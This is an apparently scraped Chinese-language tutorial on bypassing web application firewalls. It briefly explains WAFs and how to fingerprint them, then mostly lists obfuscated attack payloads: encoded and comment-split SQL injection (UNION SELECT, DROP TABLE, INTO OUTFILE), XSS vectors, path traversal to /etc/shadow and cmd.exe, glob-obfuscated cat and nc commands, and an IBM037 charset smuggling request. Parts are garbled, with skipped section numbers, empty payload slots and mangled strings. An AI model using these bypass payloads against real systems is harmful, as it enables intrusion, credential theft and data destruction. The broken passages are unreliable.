Bootstrap

WAF绕过总结+工具介绍

什么是WAF

Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。

WAF的原理

waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

waf工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,waf类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行。

总结使用WAF的原因

深度防御策略;

检测并阻止针对易受攻击的Web应用程序的攻击。

防范各种漏洞;

保护公司的网络环境。

受欢迎的WAF供应商

如何找到WAF类型和真实IP地址

1.使用shodan.io或censys.io2.搜索SPF记录和TXT记录。SPF和TXT记录可能存在原始的IP地址。3.也可以在“历史数据”中进行检索,在旧记录中可能具有原始IP。查找域名、IP地址等历史数据:securitytrails.com

如何证明WAF已经正确设置

WAF使用标准端口80、443、8000、8008、8080和8088端口;

WAF在请求中设置自己的cookie;

WAF将自己与单独的标头关联;

WAF在服务器标头中公开自己;

WAF在响应内容中公开自己;

WAF会根据恶意请求以唯一的响应代码进行响应;

从浏览器发送标准GET请求,拦截并记录响应头(特定的cookie);

从命令行发送请求(例如cURL),然后检查响应内容和标头;

将GET请求发送到随机打开的端口,并检查可能暴露WAF身份的标语;

尝试一些SQL注入playload,例如:“”或1 = 1-登录表单或忘记密码;

在某些输入字段中尝试使用XSS有效playload,例如URL中的示例:http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

2. URL编码技术

使用%编码/ URL编码对普通有效载荷进行编码;

您可以使用Burp。它具有编码器/解码器工具。

被WAF阻止:

3. Unicode技术

Unicode编码的ASCII字符为我们提供了绕过WAF的绝佳变体;

对整个或部分有效载荷进行编码以获得结果。

基本要求:混淆:被WAF阻止:/?redir=http://google.com绕过的技术:/?redir=http://google。com (Unicode alternative)被WAF阻止:x绕过的技术:<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)基本要求:../../etc/shadow混淆:%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

4. HTML编码技术

Web应用将特殊字符编码为HTML。对它们进行编码和渲染;

基本的绕过情况,带有HTML编码的数字和通用编码。

基本要求:">编码有效载荷:"> 编码有效载荷:">

5.混合编码技术

这样的规则通常倾向于滤除特定类型的编码;

混合编码有效载荷可绕过此类过滤器;

换行符和选项卡,进一步增加了混淆。

混淆负载:XSS

6.使用注释技术

注释使标准有效载荷向量模糊不清;

不同的有效载荷具有不同的混淆方式。

被WAF阻止:绕过的技术:被WAF阻止:/?id=1+union+select+1,2--绕过的技术:/?id=1+un//ion+sel//ect+1,2--

在攻击字符串中间插入注释。例如,/ *!SELECT * /可能会被WAF忽略,但会传递到目标应用程序并由mysql数据库进行处理。

URL中的示例:index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users#URL中的示例:index.php?page_id=-1 /!UNION/ /!SELECT/ 1,2,3

7.双重编码技术

Web应用程序防火墙策略倾向于对字符进行编码以保护Web应用程序;

较差的过滤器(没有递归过滤器)可以通过双重编码来绕过。

基本要求:http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\混淆负载:http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\基本要求:混淆负载:%253Cscript%253Econfirm()%253C%252Fscript%253E

8.通配符混淆技术

各种命令行实用程序使用全局模式来处理多个文件;

我们可以更改它们以运行系统命令。

基本要求:/bin/cat /etc/passwd混淆负载:/???/??t /???/??ss??二手字符:/ ? t s基本要求:/bin/nc 127.0.0.1 443混淆负载:/???/n? 2130706433 443二手字符:/ ? n [0-9]动态有效载荷生成技术:

编程语言具有不同的连接模式和语法;

这使我们能够生成可以绕过许多过滤器和规则的有效载荷。

基本要求:混淆负载:基本要求:/bin/cat /etc/shadow混淆负载:/bi'n'''/c''at' /e'tc'/sh''ad'owBash允许执行路径串联。基本要求:混淆负载:

13.令牌破坏者技术

对令牌的攻击企图打破使用令牌中断器将请求拆分为令牌的逻辑;

令牌破坏器是允许影响字符串的元素和某个令牌之间的对应关系的符号;

使用令牌破坏器时,我们的请求必须保持有效;

案例研究:令牌生成器的未知令牌

我们的有效载荷:?id=‘-sqlite_version() UNION SELECT passwords FROM users --

案例研究:解析器的未知上下文(注意无上下文的括号)

第一有效载荷:?id=12);DROP TABLE users --第二有效载荷:?id=133) INTO OUTFILE ‘xxx’ --

14.其他格式的混淆

许多Web应用程序支持不同的编码类型,并且可以解释编码

我们始终需要将有效负载混淆为WAF不支持的格式,但是服务器会走私我们的有效负载。

IIS案例:

IIS 6、7.5、8和10允许IBM037字符解释;

发送带有查询的编码参数。

原始请求:POST /example.aspx?id7=sometext HTTP/1.1HOST: target.orgContent-Type: application/x-www-form-urlencoded; charset=utf-8Content-Length: 27id2='union all select * from users--带有URL编码的混淆请求:POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1HOST: target.orgContent-Type: application/x-www-form-urlencoded; charset=ibm037Content-Length: 127%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A4%A2%85%99%A2%60%60(5)文件包含绕过:相对路径、绝对路径。